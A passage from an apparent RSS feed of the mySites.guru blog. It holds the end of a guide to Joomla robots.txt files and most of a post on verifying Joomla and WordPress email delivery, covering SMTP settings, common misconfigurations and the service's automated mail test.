&lt;p&gt;More specific User-agent blocks take precedence for the matching crawler. Googlebot will follow the Googlebot-specific rules and ignore the &lt;code&gt;*&lt;/code&gt; wildcard block. That is a footgun as much as a feature: in the example above, Googlebot no longer obeys the &lt;code&gt;Disallow: /administrator/&lt;/code&gt; line, because it never reads the wildcard group at all. If you write a crawler-specific section, repeat every rule you want that crawler to follow.&lt;/p&gt;
&lt;p&gt;Blocking &lt;code&gt;GPTBot&lt;/code&gt; above is a narrow example on purpose. It is the training crawler, and turning it away costs you nothing in search or answer visibility, but the same syntax aimed at &lt;code&gt;OAI-SearchBot&lt;/code&gt; would remove you from ChatGPT’s answers entirely. We wrote up &lt;a href=&quot;https://mysites.guru/blog/robots-txt-for-joomla-and-wordpress/&quot;&gt;which AI crawlers are worth letting in&lt;/a&gt; after measuring 400 live sites, because 27% of the ones that had set any AI policy had blocked an answer engine by accident.&lt;/p&gt;
&lt;h3&gt;Monitoring for changes&lt;/h3&gt;
&lt;p&gt;Your robots.txt should be treated as a living configuration file. Changes to your site structure, new extensions, URL rewrites, and CMS updates can all affect what should be in it. mySites.guru’s trend tracking flags when your robots.txt changes between snapshots, so you’ll know immediately if a plugin, an update, or a well-meaning colleague modified the file.&lt;/p&gt;
&lt;h2&gt;What Does a Good robots.txt Look Like for Joomla 5?&lt;/h2&gt;
&lt;p&gt;Based on the patterns we see across thousands of sites, here is a solid, production-ready robots.txt for a standard Joomla 5 installation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# robots.txt for Joomla 5&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Generated for: example.com&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Last updated: 2026-03-06&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;User-agent: *&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Block admin and system directories&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /administrator/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /api/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cache/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /cli/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /libraries/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /tmp/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /layouts/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Explicitly allow asset directories&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /media/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /templates/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /images/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Allow: /plugins/&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Block common parameter-based duplicate content&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /*?format=feed&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /*?start=&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Disallow: /*?print=&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;# Sitemap location&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Sitemap: https://example.com/sitemap.xml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Adjust the blocked parameter patterns to match your site’s URL structure. If you use a specific sitemap extension, make sure the sitemap URL matches what the extension generates.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Test before you deploy&lt;/p&gt;&lt;p&gt;Always test your robots.txt changes using Google Search Console’s URL Inspection tool before deploying them to production. A mistake in robots.txt can deindex your entire site within days.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;How Do You Fix a Broken robots.txt on Joomla?&lt;/h2&gt;
&lt;p&gt;If your audit reveals problems, here’s how to fix them:&lt;/p&gt;
&lt;h3&gt;Option 1: fix it through mySites.guru (fastest)&lt;/h3&gt;
&lt;p&gt;If your site is connected to mySites.guru, navigate to the Joomla Configuration section of the snapshot results and find the “Media &amp;amp; Template” check. Click “Investigate” to see the one-click fix button, or use mySites.guru’s built-in robots.txt file editor to make more detailed changes. Either way, mySites.guru saves the updated file directly to your site. Run a new snapshot afterwards to confirm the fix.&lt;/p&gt;
&lt;h3&gt;Option 2: edit the file via FTP/SFTP&lt;/h3&gt;
&lt;p&gt;Connect to your site via FTP or SFTP, navigate to the root directory (the same level as your &lt;code&gt;index.php&lt;/code&gt;), and open &lt;code&gt;robots.txt&lt;/code&gt; in a text editor. Make your changes, save, and upload.&lt;/p&gt;
&lt;h3&gt;Option 3: edit through your hosting control panel&lt;/h3&gt;
&lt;p&gt;Most hosting control panels (cPanel, Plesk, DirectAdmin) include a file manager where you can browse to the site root and edit &lt;code&gt;robots.txt&lt;/code&gt; directly in the browser. Some Joomla extensions also provide file editing capabilities, but Joomla itself has no built-in file editor.&lt;/p&gt;
&lt;h3&gt;After fixing&lt;/h3&gt;
&lt;p&gt;After updating your robots.txt:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visit &lt;code&gt;https://yourdomain.com/robots.txt&lt;/code&gt; in your browser to verify the changes&lt;/li&gt;
&lt;li&gt;Test in Google Search Console using the URL Inspection tool&lt;/li&gt;
&lt;li&gt;Request reindexing for any pages that were previously blocked&lt;/li&gt;
&lt;li&gt;Run a fresh mySites.guru snapshot to confirm the check now passes&lt;/li&gt;
&lt;li&gt;Monitor your Google Search Console coverage report over the next few weeks to see previously blocked pages get picked up&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Don’t overlook the basics&lt;/h2&gt;
&lt;p&gt;It’s easy to focus on the flashy parts of SEO (content strategy, backlinks, page speed optimisation) and overlook a misconfigured text file that’s been working against you for years. Your Joomla site’s &lt;code&gt;robots.txt&lt;/code&gt; is one of the first things search engines read, and getting it wrong costs you traffic.&lt;/p&gt;
&lt;p&gt;If you’re managing multiple sites, checking robots.txt manually across all of them isn’t realistic. That’s exactly why mySites.guru includes it as an automated snapshot check, one of &lt;a href=&quot;https://mysites.guru/tools/search-engine-visibility/&quot;&gt;nine that read your robots.txt on every snapshot&lt;/a&gt;. Connect your sites with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt;, and you’ll know within minutes whether any of them have this problem.&lt;/p&gt;
&lt;p&gt;Check out the full list of &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features&lt;/a&gt; that mySites.guru offers for managing and monitoring your Joomla and WordPress sites at scale.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/intro&quot;&gt;Google’s robots.txt specification&lt;/a&gt; - the authoritative reference for how Google interprets robots.txt directives&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.google.com/search/docs/crawling-indexing/robots/create-robots-txt&quot;&gt;Google Search Central: Create a robots.txt file&lt;/a&gt; - Google’s practical guide to creating and testing robots.txt files&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Robots.txt_file&quot;&gt;Joomla Manual: robots.txt&lt;/a&gt; - Joomla’s official documentation on robots.txt&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc9309&quot;&gt;RFC 9309: Robots Exclusion Protocol&lt;/a&gt; - the 2022 IETF standard formalising the robots.txt protocol&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.google.com/webmasters/answer/9012289&quot;&gt;Google Search Console URL Inspection&lt;/a&gt; - how to test whether your pages are blocked or indexable&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Configuration hygiene is covered in our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>seo</category><category>robots.txt</category><category>joomla</category><category>search engines</category><category>best practice</category><enclosure url="https://mysites.guru/img/og/blog/how-to-check-joomla-robots-txt-seo.png" length="0" type="image/png"/></item><item><title>How to Verify Your Joomla Site&apos;s Email Configuration Actually Works</title><link>https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-verify-joomla-email-configuration-works/</guid><description>Joomla and WordPress contact forms can fail with no warning. Check SMTP settings, test mail delivery, and catch email misconfigurations across all your sites.</description><pubDate>Mon, 16 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Your Joomla site sends emails every day. Contact form submissions, user registration confirmations, password resets, admin notifications. You probably assume it all just works.&lt;/p&gt;
&lt;p&gt;It might not be working at all. And the worst part: Joomla won’t tell you when it stops.&lt;/p&gt;
&lt;p&gt;There’s no warning banner. No error log entry (in most configurations). No dashboard alert. Your contact form will happily accept submissions, show the “thank you” message, and drop the email into a void. Your customer thinks they’ve reached out. You think no one’s contacted you in weeks. Both of you are wrong.&lt;/p&gt;
&lt;p&gt;I’ve seen agencies lose leads for months before someone finally called and said “I submitted your form three times and never heard back.” That’s when you discover the hosting provider changed the SMTP port in January and no one updated the Joomla configuration.&lt;/p&gt;
&lt;p&gt;The rest of this post covers Joomla’s email system, the mistakes that break it most often, and how to stop relying on manual checks.&lt;/p&gt;
&lt;h2&gt;How does mySites.guru automate email verification?&lt;/h2&gt;
&lt;p&gt;Every time mySites.guru runs a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audit&lt;/a&gt; on your Joomla site, the very first thing it does is send a test email.&lt;/p&gt;
&lt;p&gt;The audit uses your site’s own configured mail settings (whatever you’ve set in Global Configuration) to send a short email to &lt;a href=&quot;https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/&quot;&gt;&lt;code&gt;AuditMailerTest@myjoomla.io&lt;/code&gt;&lt;/a&gt;. The &lt;code&gt;myjoomla.io&lt;/code&gt; domain is left over from the service’s &lt;a href=&quot;https://mysites.guru/blog/myjoomla-com-is-now-mysites-guru/&quot;&gt;original name&lt;/a&gt;, before WordPress support was added. The server receiving these emails isn’t a traditional SMTP server. It’s a lightweight PHP service that accepts the incoming email, converts it to JSON, and sends it back to the mySites.guru platform for processing.&lt;/p&gt;
&lt;p&gt;If the email arrives, your audit shows a green “OK” status for the Email Configuration check. If it doesn’t arrive, you get a red “Issue” flag with a clear message: &lt;strong&gt;“We never received an email we attempted to send back to us from your Joomla site.”&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Joomla Configuration audit results showing the Global Email Configuration check with OK status, alongside checks for core file changes, robots.txt, and favicon&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2060px) 2060px, 100vw&quot; width=&quot;2060&quot; height=&quot;410&quot; src=&quot;https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_ZAWODF.webp&quot; srcset=&quot;https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_wBXEd.webp 640w, https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_ZOlbOn.webp 750w, https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_2mlpjO.webp 828w, https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_1LBak3.webp 1080w, https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_Z1PG3Ni.webp 1280w, https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_Z12MSwF.webp 1668w, https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_Z2lldbJ.webp 2048w, https://mysites.guru/_astro/joomla-configuration-audit-email-check.BrxRbKRw_ZAWODF.webp 2060w&quot; /&gt;&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is a real email delivery test, not a config check&lt;/p&gt;
  &lt;p&gt;mySites.guru doesn&apos;t just look at your settings and say &quot;these look right.&quot; It actually sends an email from your site and waits for it to arrive. If the email doesn&apos;t get through, neither would your contact form submissions or user notifications.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Tim Davis from &lt;a href=&quot;https://www.youtube.com/@basicjoomla&quot;&gt;Basic Joomla Tutorials&lt;/a&gt; put together a walkthrough of the email configuration check and the other Joomla Configuration audit results. Worth watching if you want to see what the audit output looks like in practice:&lt;/p&gt;
&lt;div&gt;
  
&lt;/div&gt;
&lt;p&gt;Check out his &lt;a href=&quot;https://www.youtube.com/@basicjoomla/search?query=mysites.guru&quot;&gt;full mySites.guru playlist on YouTube&lt;/a&gt; for more walkthroughs of the audit tools.&lt;/p&gt;
&lt;h3&gt;What happens when the test fails&lt;/h3&gt;
&lt;p&gt;A failed email test means your site cannot send email. Not just to the mySites.guru test address, but to anyone. The test uses the same mail settings and same code path that your contact forms, user registrations, and admin notifications use. If the test email fails, everything fails.&lt;/p&gt;
&lt;p&gt;The audit results page shows you exactly what was tested and links to documentation explaining what to check. You can also see the trend: whether email was working on the previous audit and has now broken, or whether it’s been failing for a while.&lt;/p&gt;
&lt;p&gt;If you manage multiple sites, the &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/emailconfig&quot;&gt;pivot page&lt;/a&gt; shows the email configuration check result for every connected site on one screen. Sites with broken email show up immediately so you can fix them before anyone notices.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru pivot view showing the Joomla Global Email Configuration check across all connected sites, with OK and Issue statuses listed per site&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1812&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_rQQ3y.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_qWPwC.webp 640w, https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_2eDCvL.webp 750w, https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_Z2sr5N6.webp 828w, https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_lHKJW.webp 1080w, https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_Z2nRFdW.webp 1280w, https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_ZsGCOe.webp 1668w, https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_ZLUrEM.webp 2048w, https://mysites.guru/_astro/mysites-guru-email-config-pivot-view.CwHgPFKX_rQQ3y.webp 2400w&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Scheduling regular email checks&lt;/h3&gt;
&lt;p&gt;You can &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;schedule audits&lt;/a&gt; to run automatically on a daily, weekly, or custom schedule. Each audit includes the email test, so you get notified the moment email delivery breaks. No need to remember to test manually. No more discovering three months later that no one’s been receiving your contact form emails.&lt;/p&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;site information dashboard&lt;/a&gt;, you can see email status alongside every other health indicator for all your sites in one view.&lt;/p&gt;
&lt;h3&gt;Detecting mass mailer scripts&lt;/h3&gt;
&lt;p&gt;A broken email configuration is one problem. A hacked site sending spam is a much bigger one.&lt;/p&gt;
&lt;p&gt;When attackers compromise a Joomla site, one of the most common things they do is plant PHP scripts that send mass emails. These scripts bypass Joomla’s mail configuration entirely, using their own SMTP connections or calling &lt;code&gt;mail()&lt;/code&gt; directly. Your site becomes a spam relay without your knowledge.&lt;/p&gt;
&lt;p&gt;The mySites.guru audit includes a dedicated &lt;strong&gt;Mass Mailers&lt;/strong&gt; check that scans your entire webspace for non-core PHP files containing email-sending code. It looks for calls to &lt;code&gt;mail()&lt;/code&gt;, &lt;code&gt;PHPMailer&lt;/code&gt;, &lt;code&gt;SwiftMailer&lt;/code&gt;, and other common patterns. Core Joomla files are excluded, so it only flags files that shouldn’t be there.&lt;/p&gt;
&lt;p&gt;If the check finds something, you’ll see a red “Mailers” label with the count of suspicious files. You can drill into the tool to see exactly which files were flagged and inspect their contents. The same audit also runs full &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hack detection&lt;/a&gt;, scanning every line of code in your webspace for malicious patterns, including &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden dot-files&lt;/a&gt; that a manual review would never catch.&lt;/p&gt;
&lt;h3&gt;WordPress sites get the same test&lt;/h3&gt;
&lt;p&gt;This isn’t just a Joomla thing. mySites.guru runs the same email delivery test on WordPress sites too. The audit uses WordPress’s &lt;code&gt;wp_mail()&lt;/code&gt; function to send a test message to the same &lt;code&gt;AuditMailerTest@myjoomla.io&lt;/code&gt; address. If your WordPress site relies on the default PHP &lt;code&gt;mail()&lt;/code&gt; function (which most do out of the box), the test will often fail because many hosts block it or the emails end up in spam.&lt;/p&gt;
&lt;p&gt;Most WordPress sites need an SMTP plugin like WP Mail SMTP, FluentSMTP, or Post SMTP to send email reliably. The mySites.guru email test catches the sites where that plugin is missing, misconfigured, or where the SMTP credentials have gone stale. The same scheduling, trend tracking, and mass mailer detection all apply to your &lt;a href=&quot;https://mysites.guru/manage-multiple-wordpress-sites/&quot;&gt;WordPress sites&lt;/a&gt; just as they do to Joomla.&lt;/p&gt;
&lt;p&gt;The same pivot page works for WordPress too. Switch to the WordPress Sites tab and you’ll see the email check result for every WordPress site in your account:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru pivot view showing the WordPress Email Configuration check across all connected WordPress sites with OK statuses&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2400px) 2400px, 100vw&quot; width=&quot;2400&quot; height=&quot;1178&quot; src=&quot;https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_aobb7.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_zaUeV.webp 640w, https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_ZuwUtS.webp 750w, https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_2815vB.webp 828w, https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_zlFq0.webp 1080w, https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_2crwUi.webp 1280w, https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_mXxf8.webp 1668w, https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_WHIRG.webp 2048w, https://mysites.guru/_astro/mysites-guru-wordpress-email-config-pivot-view.v7gGhVUi_aobb7.webp 2400w&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;How does Joomla send email?&lt;/h2&gt;
&lt;p&gt;Before you can troubleshoot email, you need to understand the three ways Joomla can send it. Each one has different failure modes and different things that go wrong.&lt;/p&gt;
&lt;h3&gt;PHP Mail (the default)&lt;/h3&gt;
&lt;p&gt;When you install Joomla, the mailer is set to &lt;code&gt;PHP Mail&lt;/code&gt; by default. This uses PHP’s built-in &lt;code&gt;mail()&lt;/code&gt; function, which hands the email off to whatever mail transfer agent (MTA) is configured on the server, usually Sendmail or Postfix.&lt;/p&gt;
&lt;p&gt;The problem with PHP Mail is that you’re entirely dependent on the server’s mail configuration. You have no control over authentication, no encryption, and no visibility into whether the email was actually accepted. Many shared hosting providers disable &lt;code&gt;mail()&lt;/code&gt; entirely. When they do, Joomla fails. No error. No bounce. Nothing.&lt;/p&gt;
&lt;h3&gt;Sendmail&lt;/h3&gt;
&lt;p&gt;The Sendmail option lets you specify the path to the Sendmail binary on the server (default &lt;code&gt;/usr/sbin/sendmail&lt;/code&gt;). It shares all the same problems as PHP Mail: no authentication, no encryption, no delivery feedback. Don’t use either option unless the server administrator has specifically configured the MTA to relay through an authenticated SMTP service.&lt;/p&gt;
&lt;h3&gt;SMTP (the right choice)&lt;/h3&gt;
&lt;p&gt;SMTP is the only option that gives you real control. You specify a mail server hostname, port, authentication credentials, and encryption method. Joomla connects directly to the SMTP server and hands off the email using a proper authenticated session.&lt;/p&gt;
&lt;p&gt;It’s also the only method that gives you logging. With PHP Mail and Sendmail, emails leave the server and you have no visibility into whether they were accepted, bounced, or dropped. SMTP providers log every message, so you can see exactly what was sent, when, and whether it was delivered.&lt;/p&gt;
&lt;p&gt;This is what you should be using. Full stop.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;SMTP is not just for &quot;advanced users&quot;&lt;/p&gt;
  &lt;p&gt;Every Joomla site should use SMTP. PHP Mail and Sendmail are legacy options that offer no authentication, no encryption, and no delivery tracking. If your contact form matters to your business, configure SMTP properly.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What do Joomla’s email settings mean?&lt;/h2&gt;
&lt;p&gt;All email configuration lives in &lt;strong&gt;System &amp;gt; Global Configuration &amp;gt; Server tab&lt;/strong&gt; in the Joomla admin. Here’s what each setting does and what can go wrong with it.&lt;/p&gt;
&lt;h3&gt;Mailer&lt;/h3&gt;
&lt;p&gt;Dropdown with three options: PHP Mail, Sendmail, or SMTP. As covered above, choose SMTP.&lt;/p&gt;
&lt;h3&gt;From Email&lt;/h3&gt;
&lt;p&gt;The email address Joomla puts in the &lt;code&gt;From:&lt;/code&gt; header of every email it sends. If this address doesn’t match the domain of your SMTP server (or at least a domain you’ve authorized via SPF/DKIM), receiving servers will flag your emails as suspicious. A common mistake is setting this to a generic address like &lt;code&gt;admin@gmail.com&lt;/code&gt;, or leaving it as the default &lt;code&gt;admin@example.com&lt;/code&gt;; either way, your emails will end up in spam or be rejected.&lt;/p&gt;
&lt;h3&gt;From Name&lt;/h3&gt;
&lt;p&gt;The display name that appears alongside the From Email address. Usually your site name or business name. This is cosmetic but matters for trust. Emails from “Joomla! powered site” look unprofessional and get ignored.&lt;/p&gt;
&lt;h3&gt;SMTP Host&lt;/h3&gt;
&lt;p&gt;The hostname of your SMTP server. Common examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;smtp.gmail.com&lt;/code&gt; (Google Workspace)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smtp.office365.com&lt;/code&gt; (Microsoft 365)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;smtp.postmarkapp.com&lt;/code&gt; (Postmark)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;email-smtp.eu-west-1.amazonaws.com&lt;/code&gt; (Amazon SES)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;mail.yourdomain.com&lt;/code&gt; (cPanel/hosting provider)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A common mistake here is using &lt;code&gt;localhost&lt;/code&gt; when the server doesn’t have a local SMTP service running, or using an IP address that gets blocked by the receiving server’s firewall.&lt;/p&gt;
&lt;h3&gt;SMTP Port&lt;/h3&gt;
&lt;p&gt;The port number for the SMTP connection. The correct port depends on the encryption method:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Port 587&lt;/strong&gt; - STARTTLS (the modern standard, use this)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port 465&lt;/strong&gt; - Implicit TLS/SSL (older but still supported by many providers)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Port 25&lt;/strong&gt; - No encryption (blocked by most hosting providers and ISPs, never use this for authenticated mail)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A common mistake is using port 25 because “it’s the SMTP port.” Port 25 is for server-to-server relay, not authenticated client submission, and most hosting providers block it outbound entirely. Use 587.&lt;/p&gt;
&lt;h3&gt;SMTP Security&lt;/h3&gt;
&lt;p&gt;The encryption method: None, SSL/TLS, or STARTTLS. Always use STARTTLS (port 587) or SSL/TLS (port 465). Never use None. A common mistake is setting this to None because “it’s just internal mail”; even on internal networks, unencrypted SMTP exposes your credentials in plain text to anyone sniffing the network.&lt;/p&gt;
&lt;h3&gt;SMTP Authentication&lt;/h3&gt;
&lt;p&gt;Whether the SMTP server requires a username and password. Almost every SMTP server requires authentication. The only exception is some internal relay servers on managed hosting, but even those are increasingly requiring auth.&lt;/p&gt;
&lt;h3&gt;SMTP Username and Password&lt;/h3&gt;
&lt;p&gt;Your SMTP credentials. These are typically not the same as your email login, especially with services like Gmail (which requires an App Password or OAuth), Amazon SES (which uses IAM credentials), and Postmark (which uses API tokens). A common mistake is using your personal email password: if your Joomla site is ever compromised (and &lt;a href=&quot;https://www.cvedetails.com/vulnerability-list/vendor_id-3496/product_id-16499/Joomla-Joomla-.html&quot;&gt;every Joomla 4 version was exploitable&lt;/a&gt; for configuration file exposure except the latest few), the attacker gets your email password too.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Never reuse personal email credentials&lt;/p&gt;
  &lt;p&gt;If you can see test emails from &lt;a href=&quot;https://mysites.guru/blog/emails-from-auditmailertest-myjoomla-io/&quot;&gt;AuditMailerTest@myjoomla.io&lt;/a&gt; in your personal mail client&apos;s sent folder, it means you&apos;re using your personal account credentials in Joomla. That&apos;s a security risk you should fix today.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What are the seven most common Joomla email configuration mistakes?&lt;/h2&gt;
&lt;p&gt;After years of running &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;security audits&lt;/a&gt; across tens of thousands of Joomla sites, these are the problems I see over and over again.&lt;/p&gt;
&lt;h3&gt;1. Using PHP Mail on a server that blocks it&lt;/h3&gt;
&lt;p&gt;Many shared hosting providers disable PHP’s &lt;code&gt;mail()&lt;/code&gt; function to prevent spam abuse. When they do, Joomla’s PHP Mail option fails. You get no error, no bounce, nothing. The form submission goes through, the email vanishes. The fix: switch to SMTP, always.&lt;/p&gt;
&lt;h3&gt;2. Wrong SMTP port after a hosting migration&lt;/h3&gt;
&lt;p&gt;You migrate to a new host, restore your Joomla backup, and everything looks fine. Except the new host uses port 587 instead of port 465, or vice versa. Your SMTP credentials might even be correct, but the port mismatch means the connection never establishes. Check with your new host which port they support, and test the connection explicitly.&lt;/p&gt;
&lt;h3&gt;3. SMTP password changed by the hosting provider&lt;/h3&gt;
&lt;p&gt;Hosting providers periodically rotate passwords, especially on shared hosting. When they do, your Joomla SMTP password becomes invalid. Some providers notify you. Many don’t. Using a dedicated transactional email service (Postmark, Amazon SES, Mailgun) fixes this: you control the credentials and get notified of any changes.&lt;/p&gt;
&lt;h3&gt;4. From address doesn’t match SPF/DKIM records&lt;/h3&gt;
&lt;p&gt;Your site sends email from &lt;code&gt;info@yourdomain.com&lt;/code&gt; but the SMTP server is &lt;code&gt;smtp.thirdpartyservice.com&lt;/code&gt;. The receiving server checks the SPF record for &lt;code&gt;yourdomain.com&lt;/code&gt;, doesn’t find the third-party service’s IP address listed, and either rejects the email or dumps it in spam. Fix it by adding the SMTP service’s SPF include to your domain’s DNS, setting up DKIM signing, and considering a DMARC policy too. Your email service provider will have documentation on exactly what DNS records to add.&lt;/p&gt;
&lt;h3&gt;5. SSL certificate mismatch on the SMTP server&lt;/h3&gt;
&lt;p&gt;You connect to &lt;code&gt;mail.yourdomain.com&lt;/code&gt; on port 465, but the SSL certificate on the mail server is issued to &lt;code&gt;server42.hostingprovider.com&lt;/code&gt;. PHP’s OpenSSL extension rejects the connection because the certificate doesn’t match the hostname. Either use the hostname that matches the certificate (ask your host what it is), or switch to a proper email service where certificate management is handled for you.&lt;/p&gt;
&lt;h3&gt;6. Using “Send Copy to Submitter” and getting flagged as spam&lt;/h3&gt;
&lt;p&gt;Joomla’s contact form has a &lt;code&gt;Send Copy To Submitter&lt;/code&gt; option that forwards a copy of the form submission to whatever email address the visitor entered. Spammers abuse this by submitting the form with a victim’s email address, making your site the spam source. &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-send-copy-to-submitter-in-joomla-to-prevent-spam-with-mysites-guru/&quot;&gt;Disable Send Copy to Submitter&lt;/a&gt; globally to fix it. mySites.guru’s &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;snapshot&lt;/a&gt; checks this setting automatically, and if you are on Joomla 6.1, &lt;a href=&quot;https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/&quot;&gt;enabling the built-in POW captcha&lt;/a&gt; makes the form itself reject automated submissions before they ever reach the mail layer.&lt;/p&gt;
&lt;h3&gt;7. Plaintext passwords enabled in Joomla&lt;/h3&gt;
